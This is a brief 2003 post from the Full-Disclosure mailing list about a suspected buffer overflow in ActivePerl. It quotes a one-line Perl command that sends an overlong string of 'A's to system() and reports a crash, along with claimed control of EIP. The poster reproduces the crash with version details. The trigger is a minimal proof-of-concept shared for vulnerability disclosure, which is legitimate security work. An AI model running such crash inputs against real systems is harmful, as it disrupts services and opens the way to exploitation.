Re: [Full-Disclosure] Re: Buffer Overflow in ActivePerl ?

["morning_wood" <se_cur_ity@xxxxxxxxxxx>]

>and we seem to get control of EIP.  Coincidence?  Try yet two more:
>C:\>perl -e "$a="A" x 261; system($a)"


C:\>perl -V

Characteristics of this binary (from libperl):
  Compile-time options: MULTIPLICITY USE_ITHREADS PERL_IMPLICIT_
LICIT_SYS
  Locally applied patches:
        ActivePerl Build 635
  Built under MSWin32
  Compiled at Feb  4 2003 15:34:21
  @INC:
    C:/Perl/lib
    C:/Perl/site/lib
    .
C:\>

C:\>perl -e "$a="A" x 261; system($a)"
The input line is too long.

[CRASHE HERE]

C:\>


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html